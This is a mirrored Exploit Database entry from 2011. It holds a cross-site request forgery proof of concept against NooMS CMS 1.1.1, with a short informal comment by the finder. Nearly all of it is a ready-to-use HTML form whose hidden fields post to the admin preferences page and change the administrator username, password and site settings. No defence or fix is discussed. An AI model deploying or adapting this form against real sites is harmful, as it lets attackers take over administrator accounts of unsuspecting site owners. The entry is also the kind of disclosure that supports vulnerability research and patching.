Nooms CMS 1.1.1 – Cross-Site Request Forgery

• Exploit Database
• 123 阅读

• 作者： loneferret
  日期： 2011-04-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17137/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

  # NooMS CMS version 1.1.1 CSRF # Bug Found: April 9th 2011 # Found by: loneferret (as far as I know anyway) # Software Download Link: http://phpkode.com/download/p/2381_nooms_1.1.1.tar.bz2 # Nods to exploit-db Team     # Well, I didn&apos;t have much to do this morning so figured I&apos;d try to see how # fast it would take # me to find one of these. It&apos;s nothing to write home about. I mean...come # on! Who would use # a CMS named NooMS? This thing uses a MySQL database as well, wouldn&apos;t be # surprised if # there are other things to be found. # But I need to get some chores done before the wife starts.   # # Enjoy, # loneferret # # p.s: # I wanted to contact the creator, but he&apos;s page (using NooMS) is # blank... nothing there so.. sorry.   ---HTML STARTS HERE---   <form action=&apos;http://[host]/admin.php&apos; method=&apos;post&apos;> <input type=hidden name=&apos;op&apos; value=&apos;pref&apos;> <input type=hidden name=&apos;action&apos; value=&apos;edit&apos;>   Admin Username: <input type=text size=20 name=&apos;admin_user&apos; value=&apos;&apos;><br> Admin Password: <input type=text size=20 name=&apos;admin_pwd&apos; value=&apos;&apos;><br> Site Name: <input type=text size=40 name=&apos;site_name&apos; value=&apos;&apos;><br> Site URL: <input type=text size=40 name=&apos;site_url&apos; value=&apos;&apos;><br> Number of results per page: <input type=text size=10 name=&apos;search_numr&apos; value=&apos;&apos;><br> Lang: <input type=text size=10 name=&apos;lang&apos; value=&apos;en&apos;><br> Theme: <input type=text name=template value=&apos;default&apos;> <input type=submit value=&apos;change&apos;> </form>